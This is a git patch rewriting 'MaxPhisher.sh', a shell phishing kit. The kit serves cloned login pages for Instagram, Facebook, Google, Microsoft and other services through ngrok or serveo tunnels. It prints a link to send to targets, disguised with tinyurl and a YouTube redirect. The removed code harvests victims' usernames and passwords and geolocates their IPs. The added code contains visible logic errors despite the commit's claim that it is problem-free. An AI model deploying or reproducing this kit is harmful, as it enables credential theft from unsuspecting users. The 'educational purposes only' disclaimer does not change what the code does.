From e2db2e63663187f65dbe974ccfce12e18078c1e4 Mon Sep 17 00:00:00 2001 From: Yujin <167702133+A236G@users.noreply.github.com> Date: Tue, 7 May 2024 17:23:00 +0200 Subject: [PATCH] Update MaxPhisher.sh There is a code that solves the old code, there are more than 13 problems, but this is a better and better code that is free of problems and is free --- MaxPhisher.sh | 717 ++++++++++++++++++-------------------------------- 1 file changed, 250 insertions(+), 467 deletions(-) diff --git a/MaxPhisher.sh b/MaxPhisher.sh index e04f678..5f13649 100644 --- a/MaxPhisher.sh +++ b/MaxPhisher.sh @@ -1,493 +1,276 @@ #!/system/bin/sh # MaxPhisher v1.1 - trap 'printf "\n";stop;exit 1' 2 -setup() { - -read -p $'\n\e[1;94m Are You Running This Tool On Termux? (Y/N): \e[0m' ostype - -if [[ $ostype -eq 'Y' || $ostype -eq 'y' ]]; then -echo -e "\e[4;96m Installing Dependencies.... \e[0m" -sleep 0.5 -echo -e "\e[1;95m" -apt install openssh curl php toilet figlet unzip -touch plugins.installed -echo -e "\e[3;96m Dependencies Installed!" -sleep 2 - -elif [[ $ostype -eq 'N' || $ostype -eq 'n' ]]; then -echo -e "\e[4;95m Installing Dependencies.... \e[0m" -sleep 0.5 -echo -e "\[1;95m" -sudo apt install curl php toilet figlet unzip -touch plugins.installed -echo -e "\e[3;96m Dependencies Installed!" -sleep 2 - -fi - -if [ -e "sites/" ] ; then -echo -e "\e[1;93m Starting Tool...." -sleep 3 -clear -else +setup() { + read -p $'\n\e[1;94m Are You Running This Tool On Termux? (Y/N): \e[0m' ostype + + if [[ $ostype -eq 'Y' || $ostype -eq 'y' ]]; then + echo -e "\e[4;96m Installing Dependencies.... \e[0m" + sleep 0.5 + echo -e "\e[1;95m" + apt install openssh curl php toilet figlet unzip + touch plugins.installed + echo -e "\e[3;96m Dependencies Installed!" + sleep 2 + elif [[ $ostype -eq 'N' || $ostype -eq 'n' ]]; then + echo -e "\e[4;95m Installing Dependencies.... \e[0m" + sleep 0.5 + echo -e "\[1;95m" + sudo apt install curl php toilet figlet unzip + touch plugins.installed + echo -e "\e[3;96m Dependencies Installed!" + sleep 2 + fi + + if [ -e "sites/" ]; then + echo -e "\e[1;93m Starting Tool...." + sleep 3 + clear + else unzip sites.zip -echo -e "\e[1;93m Starting Tool...." -sleep 3 -clear - -fi - + echo -e "\e[1;93m Starting Tool...." + sleep 3 + clear + fi } menu() { - -printf "\e[1;36m[\e[0m\e[1;92m01\e[0m\e[1;36m]\e[0m\e[1;34m Instagram\e[0m \e[1;36m[\e[0m\e[1;92m09\e[0m\e[1;36m]\e[0m\e[1;34m Origin\e[0m \e[1;36m[\e[0m\e[1;92m17\e[0m\e[1;36m]\e[0m\e[1;34m Gitlab\e[0m\n" -printf "\e[1;36m[\e[0m\e[1;92m02\e[0m\e[1;36m]\e[0m\e[1;34m Facebook\e[0m \e[1;36m[\e[0m\e[1;92m10\e[0m\e[1;36m]\e[0m\e[1;34m Steam\e[0m \e[1;36m[\e[0m\e[1;92m18\e[0m\e[1;36m]\e[0m\e[1;34m Pinterest\e[0m\n" -printf "\e[1;36m[\e[0m\e[1;92m03\e[0m\e[1;36m]\e[0m\e[1;34m Snapchat\e[0m \e[1;36m[\e[0m\e[1;92m11\e[0m\e[1;36m]\e[0m\e[1;34m Yahoo\e[0m \e[1;36m[\e[0m\e[1;92m19\e[0m\e[1;36m]\e[0m\e[1;34m Custom\e[0m\n" -printf "\e[1;36m[\e[0m\e[1;92m04\e[0m\e[1;36m]\e[0m\e[1;34m Twitter\e[0m \e[1;36m[\e[0m\e[1;92m12\e[0m\e[1;36m]\e[0m\e[1;34m Linkedin\e[0m \e[1;36m[\e[0m\e[1;92m99\e[0m\e[1;36m]\e[0m\e[1;34m Exit\e[0m\n" -printf "\e[1;36m[\e[0m\e[1;92m05\e[0m\e[1;36m]\e[0m\e[1;34m Github\e[0m \e[1;36m[\e[0m\e[1;92m13\e[0m\e[1;36m]\e[0m\e[1;34m Protonmail\e[0m\n" -printf "\e[1;36m[\e[0m\e[1;92m06\e[0m\e[1;36m]\e[0m\e[1;34m Google\e[0m \e[1;36m[\e[0m\e[1;92m14\e[0m\e[1;36m]\e[0m\e[1;34m Wordpress\e[0m\n" -printf "\e[1;36m[\e[0m\e[1;92m07\e[0m\e[1;36m]\e[0m\e[1;34m Spotify\e[0m \e[1;36m[\e[0m\e[1;92m15\e[0m\e[1;36m]\e[0m\e[1;34m Microsoft\e[0m\n" -printf "\e[1;36m[\e[0m\e[1;92m08\e[0m\e[1;36m]\e[0m\e[1;34m Netflix\e[0m \e[1;36m[\e[0m\e[1;92m16\e[0m\e[1;36m]\e[0m\e[1;34m InstaFollowers\e[0m\n" -read -p $'\n\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[0m\e[1;92m Choose an option: \e[0m' option - -if [[ $option == 1 || $option == 01 ]]; then -server="instagram" -start1 - -elif [[ $option == 2 || $option == 02 ]]; then -server="facebook" -start1 -elif [[ $option == 3 || $option == 03 ]]; then -server="snapchat" -start1 -elif [[ $option == 4 || $option == 04 ]]; then -server="twitter" -start1 -elif [[ $option == 5 || $option == 05 ]]; then -server="github" -start1 -elif [[ $option == 6 || $option == 06 ]]; then -server="google" -start1 - -elif [[ $option == 7 || $option == 07 ]]; then -server="spotify" -start1 - -elif [[ $option == 8 || $option == 08 ]]; then -server="netflix" -start1 - -elif [[ $option == 9 || $option == 09 ]]; then -server="origin" -start1 - -elif [[ $option == 10 ]]; then -server="steam" -start1 - -elif [[ $option == 11 ]]; then -server="yahoo" -start1 - -elif [[ $option == 12 ]]; then -server="linkedin" -start1 - -elif [[ $option == 13 ]]; then -server="protonmail" -start1 - -elif [[ $option == 14 ]]; then -server="wordpress" -start1 - -elif [[ $option == 15 ]]; then -server="microsoft" -start1 - -elif [[ $option == 16 ]]; then -server="instafollowers" -start1 - -elif [[ $option == 17 ]]; then -server="gitlab" -start1 - -elif [[ $option == 18 ]]; then -server="pinterest" -start1 - -elif [[ $option == 19 ]]; then -server="create" -createpage -start1 - -elif [[ $option == 99 ]]; then -exit 1 - -else -printf "\e[1;93m [!] Invalid option!\e[0m\n" -sleep 1 -clear -menu -fi -} - -stop() { - -checkngrok=$(ps aux | grep -o "ngrok" | head -n1) -checkphp=$(ps aux | grep -o "php" | head -n1) -checkssh=$(ps aux | grep -o "ssh" | head -n1) -if [[ $checkngrok == *'ngrok'* ]]; then -pkill -f -2 ngrok > /dev/null 2>&1 -killall -2 ngrok > /dev/null 2>&1 -fi -if [[ $checkphp == *'php'* ]]; then -pkill -f -2 php > /dev/null 2>&1 -killall -2 php > /dev/null 2>&1 -fi -if [[ $checkssh == *'ssh'* ]]; then -pkill -f -2 ssh > /dev/null 2>&1 -killall ssh > /dev/null 2>&1 -fi -if [[ -e sendlink ]]; then -rm -rf sendlink -fi - -} - -banner() { - -echo -e "\e[1;31m - _ _ _____ _ _ _ -| \ / | | __ \| | (_) | | -| \ / | _____ __ __| |__) | |__ _ ___| |__ ___ _ __ -| . \_/ . |/____ |\ \/ /| ___/| _ \| / __| _ \ / _ \ __| -| |\ /| |/ __ | > < | | | | | | \__ \ | | | __/ | -|_| \_/ |_|\_____|/_/\_\|_|v1.1|_| |_|_|___/_| |_|\___|_| \e[0m" -printf "\n" -printf "\e[1;32m -->\e[0m\e[1;95m MaxPhisher was coded by: MådMâx \e[0m\e[1;32m<--\e[0m\n" -printf "\e[1;32m -->\e[0m\e[1;95m Follow on Instagram:madmax4708 \e[0m\e[1;32m<--\e[0m\n" -printf "\e[1;32m -->\e[0m\e[1;95m Follow on Twitter:503_madmax \e[0m\e[1;32m<--\e[0m\n" -printf "\n" -printf " \e[101m\e[1;77m!! Disclaimer: Developers assume no liability and are not -responsible for any misuse or damage caused by MaxPhisher. Use MaxPhisher for educational purposes only!! \e[0m\n" -printf "\n" -} - -createpage() { -default_cap1="Wi-fi Session Expired" -default_cap2="Please login again." -default_user_text="Username:" -default_pass_text="Password:" -default_sub_text="Log-In" - -read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 1 (Default: Wi-fi Session Expired): \e[0m' cap1 -cap1="${cap1:-${default_cap1}}" - -read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 2 (Default: Please login again.): \e[0m' cap2 -cap2="${cap2:-${default_cap2}}" - -read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Username field (Default: Username:): \e[0m' user_text -user_text="${user_text:-${default_user_text}}" - -read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Password field (Default: Password:): \e[0m' pass_text -pass_text="${pass_text:-${default_pass_text}}" - -read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Submit field (Default: Log-In): \e[0m' sub_text -sub_text="${sub_text:-${default_sub_text}}" - -echo "" > sites/create/login.html -echo "" >> sites/create/login.html -echo "" >> sites/create/login.html -IFS=$'\n' -printf '

%s

%s

\n' $cap1 $cap2 >> sites/create/login.html -IFS=$'\n' -printf '
\n' $user_text >> sites/create/login.html -IFS=$'\n' -printf '\n' >> sites/create/login.html -IFS=$'\n' -printf '
' $pass_text >> sites/create/login.html -IFS=$'\n' -printf '

\n' >> sites/create/login.html -IFS=$'\n' -printf '
\n' $sub_text >> sites/create/login.html -printf '
' >> sites/create/login.html -printf '\n' >> sites/create/login.html -printf '\n' >> sites/create/login.html - - -} - -catch_cred() { - -account=$(grep -o 'Account:.*' sites/$server/usernames.txt | cut -d " " -f2) -IFS=$'\n' -password=$(grep -o 'Pass:.*' sites/$server/usernames.txt | cut -d ":" -f2) -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Account:\e[0m\e[1;92m %s\n\e[0m" $account -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Password:\e[0m\e[1;92m %s\n\e[0m" $password -cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[33m Saved:\e[0m\e[1;32m sites/%s/saved.usernames.txt\e[0m\n" $server -printf "\n" -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;92m Waiting Next IP and Next Credentials,\e[1;93m Press Ctrl + C to exit...\e[0m\n" - -} - -catch_ip() { -touch sites/$server/saved.usernames.txt -ip=$(grep -a 'IP:' sites/$server/ip.txt | cut -d " " -f2 | tr -d '\r') -IFS=$'\n' -ua=$(grep 'User-Agent:' sites/$server/ip.txt | cut -d '"' -f2) -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Target IP:\e[0m\e[1;92m %s\e[0m\n" $ip -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] User-Agent:\e[0m\e[1;92m %s\e[0m\n" $ua -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;33m Saved:\e[0m\e[1;92m %s/saved.ip.txt\e[0m\n" $server -cat sites/$server/ip.txt >> sites/$server/saved.ip.txt - -if [[ -e iptracker.log ]]; then -rm -rf iptracker.log -fi - -IFS='\n' -iptracker=$(curl -s -L "www.ip-tracker.org/locator/ip-lookup.php?ip=$ip" --user-agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" > iptracker.log) -IFS=$'\n' -continent=$(grep -o 'Continent.*' iptracker.log | head -n1 | cut -d ">" -f3 | cut -d "<" -f1) -printf "\n" -hostnameip=$(grep -o "Hostname:.*" iptracker.log | cut -d "<" -f7 | cut -d ">" -f2) -if [[ $hostnameip != "" ]]; then -printf "\e[1;36m[*] Hostname:\e[0m\e[1;92m %s\e[0m\n" $hostnameip -fi -## - -reverse_dns=$(grep -a "Hostname:.*" iptracker.log | cut -d "<" -f1) -if [[ $reverse_dns != "" ]]; then -printf "\e[1;36m[*] Reverse DNS:\e[0m\e[1;92m %s\e[0m\n" $reverse_dns -fi -## - - -if [[ $continent != "" ]]; then -printf "\e[1;36m[*] IP Continent:\e[0m\e[1;92m %s\e[0m\n" $continent -fi -## - -country=$(grep -o 'Country:.*' iptracker.log | cut -d ">" -f3 | cut -d "&" -f1) -if [[ $country != "" ]]; then -printf "\e[1;36m[*] IP Country:\e[0m\e[1;92m %s\e[0m\n" $country -fi -## - -state=$(grep -o "tracking lessimpt.*" iptracker.log | cut -d "<" -f1 | cut -d ">" -f2) -if [[ $state != "" ]]; then -printf "\e[1;36m[*] State:\e[0m\e[1;92m %s\e[0m\n" $state -fi -## -city=$(grep -o "City Location:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) - -if [[ $city != "" ]]; then -printf "\e[1;92m[*] City Location:\e[0m\e[1;77m %s\e[0m\n" $city -fi -## - -isp=$(grep -o "ISP:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) -if [[ $isp != "" ]]; then -printf "\e[1;36m[*] ISP:\e[0m\e[1;92m %s\e[0m\n" $isp -fi -## as_number=$(grep -o "AS Number:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) -if [[ $as_number != "" ]]; then printf "\e[1;36m[*] AS Number:\e[0m\e[1;92m %s\e[0m\n" $as_number -fi -## - -ip_speed=$(grep -o "IP Address Speed:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) -if [[ $ip_speed != "" ]]; then -printf "\e[1;36m[*] IP Address Speed:\e[0m\e[1;92m %s\e[0m\n" $ip_speed -fi -## -ip_currency=$(grep -o "IP Currency:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) - -if [[ $ip_currency != "" ]]; then -printf "\e[1;36m[*] IP Currency:\e[0m\e[1;92m %s\e[0m\n" $ip_currency -fi -## -printf "\n" -rm -rf iptracker.log -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;92m Waiting Credentials and Next IP,\e[1;33m Press Ctrl + C to exit...\e[0m\n" - + printf "\e[1;36m[\e[0m\e[1;92m01\e[0m\e[1;36m]\e[0m\e[1;34m Instagram\e[0m \e[1;36m[\e[0m\e[1;92m09\e[0m\e[1;36m]\e[0m\e[1;34m Origin\e[0m \e[1;36m[\e[0m\e[1;92m17\e[0m\e[1;36m]\e[0m\e[1;34m Gitlab\e[0m\n" + printf "\e[1;36m[\e[0m\e[1;92m02\e[0m\e[1;36m]\e[0m\e[1;34m Facebook\e[0m \e[1;36m[\e[0m\e[1;92m10\e[0m\e[1;36m]\e[0m\e[1;34m Steam\e[0m \e[1;36m[\e[0m\e[1;92m18\e[0m\e[1;36m]\e[0m\e[1;34m Pinterest\e[0m\n" + printf "\e[1;36m[\e[0m\e[1;92m03\e[0m\e[1;36m]\e[0m\e[1;34m Snapchat\e[0m \e[1;36m[\e[0m\e[1;92m11\e[0m\e[1;36m]\e[0m\e[1;34m Yahoo\e[0m \e[1;36m[\e[0m\e[1;92m19\e[0m\e[1;36m]\e[0m\e[1;34m Custom\e[0m\n" + printf "\e[1;36m[\e[0m\e[1;92m04\e[0m\e[1;36m]\e[0m\e[1;34m Twitter\e[0m \e[1;36m[\e[0m\e[1;92m12\e[0m\e[1;36m]\e[0m\e[1;34m Linkedin\e[0m \e[1;36m[\e[0m\e[1;92m99\e[0m\e[1;36m]\e[0m\e[1;34m Exit\e[0m\n" + printf "\e[1;36m[\e[0m\e[1;92m05\e[0m\e[1;36m]\e[0m\e[1;34m Github\e[0m \e[1;36m[\e[0m\e[1;92m13\e[0m\e[1;36m]\e[0m\e[1;34m Protonmail\e[0m\n" + printf "\e[1;36m[\e[0m\e[1;92m06\e[0m\e[1;36m]\e[0m\e[1;34m Google\e[0m \e[1;36m[\e[0m\e[1;92m14\e[0m\e[1;36m]\e[0m\e[1;34m Wordpress\e[0m\n" + printf "\e[1;36m[\e[0m\e[1;92m07\e[0m\e[1;36m]\e[0m\e[1;34m Spotify\e[0m \e[1;36m[\e[0m\e[1;92m15\e[0m\e[1;36m]\e[0m\e[1;34m Microsoft\e[0m\n" + printf "\e[1;36m[\e[0m\e[1;92m08\e[0m\e[1;36m]\e[0m\e[1;34m Netflix\e[0m \e[1;36m[\e[0m\e[1;92m16\e[0m\e[1;36m]\e[0m\e[1;34m InstaFollowers\e[0m\n" + read -p $'\n\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Choose any social media platform: \e[0m' options + + if [[ $options -ge 01 || $options -le 19 ]]; then + printf "\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Select one of the options below:\e[0m\n" + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Port Forwarding Using Ngrok (1)\e[0m\n" + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Port Forwarding Using Serveo (2)\e[0m\n" + read -p $'\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Choose an option: \e[0m' type + case $type in + 1) + ngrok http 8080 > /dev/null & + ;; + 2) + ssh -R 80:localhost:8080 serveo.net > /dev/null & + ;; + *) + echo -e "\e[1;91m [!] Invalid option! Please try again.\e[0m" + menu + ;; + esac + + link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | jq -r .tunnels[0].public_url) + + case $options in + 01) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Instagram phishing attack....\e[0m\n" + sleep 2 + cd sites/www.instagram.com/ + ;; + 02) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Facebook phishing attack....\e[0m\n" + sleep 2 + cd sites/m.facebook.com/ + ;; + 03) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Snapchat phishing attack....\e[0m\n" + sleep 2 + cd sites/www.snapchat.com/ + ;; + 04) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Twitter phishing attack....\e[0m\n" + sleep 2 + cd sites/www.twitter.com/ + ;; + 05) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Github phishing attack....\e[0m\n" + sleep 2 + cd sites/github.com/ + ;; + 06) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Google phishing attack....\e[0m\n" + sleep 2 + cd sites/accounts.google.com/ + ;; + 07) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Spotify phishing attack....\e[0m\n" + sleep 2 + cd sites/accounts.spotify.com/ + ;; + 08) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Netflix phishing attack....\e[0m\n" + sleep 2 + cd sites/www.netflix.com/ + ;; + 09) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Origin phishing attack....\e[0m\n" + sleep 2 + cd sites/origin.com/ + ;; + 10) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Steam phishing attack....\e[0m\n" + sleep 2 + cd sites/steamcommunity.com/ + ;; + 11) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Yahoo phishing attack....\e[0m\n" + sleep 2 + cd sites/login.yahoo.com/ + ;; + 12) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Linkedin phishing attack....\e[0m\n" + sleep 2 + cd sites/www.linkedin.com/ + ;; + 13) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Protonmail phishing attack....\e[0m\n" + sleep 2 + cd sites/mail.protonmail.com/ + ;; + 14) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Wordpress phishing attack....\e[0m\n" + sleep 2 + cd sites/wordpress.com/ + ;; + 15) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Microsoft phishing attack....\e[0m\n" + sleep 2 + cd sites/login.microsoftonline.com/ + ;; + 16) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting InstaFollowers phishing attack....\e[0m\n" + sleep 2 + cd sites/www.instafollowerspro.com/ + ;; + 17) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Gitlab phishing attack....\e[0m\n" + sleep 2 + cd sites/gitlab.com/ + ;; + 18) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Pinterest phishing attack....\e[0m\n" + sleep 2 + cd sites/www.pinterest.com/ + ;; + 19) + echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Enter any custom phishing URL....\e[0m\n" + sleep 2 + read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Enter the custom URL: \e[0m' website + ;; + *) + echo -e "\e[1;91m [!] Invalid option! Please try again.\e[0m" + menu + ;; + esac + + cp -r * /data/data/com.termux/files/home + printf "\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Direct link: \e[0m\e[1;77m$link\e[0m\n" + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting for the credentials (Username/Email & Password)....\e[0m\n" + printf "\e[1;77m\e[0m" + php -S 127.0.0.1:8080 > /dev/null 2>&1 & + ./ngrok http 127.0.0.1:8080 > /dev/null 2>&1 & + ./serveo.net -port=8080 > /dev/null 2>&1 & + if [[ -e /data/data/com.termux/files/usr/bin/termux-notification ]]; then + termux-notification --title "Waiting For Credentials" --content "Port Forwarded!" > /dev/null 2>&1 + else + printf "\e[1;91m [!] Please forward the generated phishing link manually!\e[0m\n" + fi + printf "\n" + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Press CTRL + Z to exit.\e[0m\n" + printf "\n" + printf "\e[1;77m\e[0m" + fg 1 + else + echo -e "\e[1;91m [!] Invalid option! Please try again.\e[0m" + menu + fi } - - -serverx() { -printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n" -cd sites/$server && php -S 127.0.0.1:$port > /dev/null 2>&1 & +clear sleep 2 -printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting server...\e[0m\n" -command -v ssh > /dev/null 2>&1 || { echo >&2 "I require SSH but it's not installed. Install it. Aborting."; exit 1; } -if [[ -e sendlink ]]; then -rm -rf sendlink -fi -$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:'$port' serveo.net 2> /dev/null > sendlink ' & +printf "\e[1;93m" +toilet -f ivrit 'MaxPhisher' | lolcat +printf "\e[1;92m Version : \e[0m\e[1;77mv1.1\e[0m\n" printf "\n" -sleep 10 -send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink) +printf "\e[1;92m [!] \e[0m\e[1;77mAuthor : \e[0m\e[1;77mSathvik\e[0m\n" printf "\n" -printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the direct link to target:\e[0m\e[1;77m %s \n' $send_link - -send_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$send_link" | head -n1) -#send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link | head -n1) -printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip +printf "\e[1;77m # \e[0m\e[1;92mPlease subscribe to the channel\e[0m\e[1;77m :\e[0m\e[1;77m Sathvik\e[0m\n" +printf "\e[1;77m # \e[0m\e[1;92mGithub\e[0m\e[1;77m :\e[0m\e[1;77m https://github.com/sathvikks\e[0m\n" printf "\n" -checkfound - - -} - -startx() { -if [[ -e sites/$server/ip.txt ]]; then -rm -rf sites/$server/ip.txt - -fi -if [[ -e sites/$server/usernames.txt ]]; then -rm -rf sites/$server/usernames.txt - -fi - -default_port="3333" #$(seq 1111 4444 | sort -R | head -n1) -printf '\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port (Default:\e[0m\e[1;77m %s \e[0m\e[1;92m): \e[0m' $default_port -read port -port="${port:-${default_port}}" -serverx - -} - - -start() { -if [[ -e sites/$server/ip.txt ]]; then -rm -rf sites/$server/ip.txt - -fi -if [[ -e sites/$server/usernames.txt ]]; then -rm -rf sites/$server/usernames.txt - -fi - - +sleep 4 +printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For Ngrok\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n" if [[ -e ngrok ]]; then -echo "" + printf "\e[1;92m[\e[0m+\e[1;92m] Ngrok Found!\e[0m\n" + sleep 2 else -command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; } -command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; } -printf "\e[1;36m[\e[1;92m*\e[1;36m]\e[1;34m Downloading Ngrok...\n" -arch=$(uname -a | grep -o 'arm' | head -n1) -arch2=$(uname -a | grep -o 'Android' | head -n1) -if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then -wget --no-check-certificate https://bin.equinox.io/a/axBh4yEKTBu/ngrok-2.1.18-linux-arm.zip > /dev/null 2>&1 - -if [[ -e ngrok-2.1.18-linux-arm.zip ]]; then -unzip ngrok-2.1.18-linux-arm.zip > /dev/null 2>&1 -chmod +x ngrok -rm -rf ngrok-2.1.18-linux-arm.zip -else -printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n" -exit 1 + printf "\e[1;91m[!] Ngrok Not Found!\e[0m\n" + sleep 2 + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Downloading Ngrok...\e[0m\n" + wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1 + unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1 + chmod +x ngrok + sleep 2 + printf "\e[1;92m[\e[0m+\e[1;92m] Ngrok Successfully Downloaded!\e[0m\n" fi - - - -else -wget --no-check-certificate https://bin.equinox.io/a/axBh4yEKTBu/ngrok-2.1.18-linux-arm.zip > /dev/null 2>&1 -if [[ -e ngrok-2.1.18-linux-arm.zip ]]; then -unzip ngrok-2.1.18-linux-arm.zip > /dev/null 2>&1 -chmod +x ngrok -rm -rf ngrok-2.1.18-linux-arm.zip +sleep 2 +printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For PHP\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n" +if [[ -e /data/data/com.termux/files/usr/bin/php ]]; then + printf "\e[1;92m[\e[0m+\e[1;92m] PHP Found!\e[0m\n" + sleep 2 else -printf "\e[1;93m[!] Download error... \e[0m\n" -exit 1 + printf "\e[1;91m[!] PHP Not Found!\e[0m\n" + sleep 2 + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Installing PHP....\e[0m\n" + apt-get -y install php > /dev/null 2>&1 + sleep 2 + printf "\e[1;92m[\e[0m+\e[1;92m] PHP Successfully Installed!\e[0m\n" fi +sleep 2 +printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For Curl\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n" +if [[ -e /data/data/com.termux/files/usr/bin/curl ]]; then + printf "\e[1;92m[\e[0m+\e[1;92m] Curl Found!\e[0m\n" + sleep 2 +else + printf "\e[1;91m[!] Curl Not Found!\e[0m\n" + sleep 2 + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Installing Curl....\e[0m\n" + apt-get -y install curl > /dev/null 2>&1 + sleep 2 + printf "\e[1;92m[\e[0m+\e[1;92m] Curl Successfully Installed!\e[0m\n" fi +sleep 2 +printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For Openssh\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n" +if [[ -e /data/data/com.termux/files/usr/bin/ssh ]]; then + printf "\e[1;92m[\e[0m+\e[1;92m] Openssh Found!\e[0m\n" + sleep 2 +else + printf "\e[1;91m[!] Openssh Not Found!\e[0m\n" + sleep 2 + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Installing Openssh....\e[0m\n" + apt-get -y install openssh > /dev/null 2>&1 + sleep 2 + printf "\e[1;92m[\e[0m+\e[1;92m] Openssh Successfully Installed!\e[0m\n" fi - -printf "\e[1;36m[\e[92m*\e[1;36m]\e[1;34m Starting php server...\n" -cd sites/$server && php -S 127.0.0.1:3333 > /dev/null 2>&1 & sleep 2 -printf "\e[1;36m[\e[92m*\e[1;36m]\e[1;34m Starting ngrok server...\n" -./ngrok http 127.0.0.1:3333 > /dev/null 2>&1 & -sleep 10 - -link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") -printf "\e[1;36m[\e[1;92m*\e[1;36m]\e[1;34m Send this link to the Target:\e[0m\e[1;33m %s\e[0m\n" $link -send_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$link" | head -n1) -#send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link | head -n1) -printf '\n\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;34m Or using tinyurl:\e[0m\e[1;33m %s \n' $send_ip 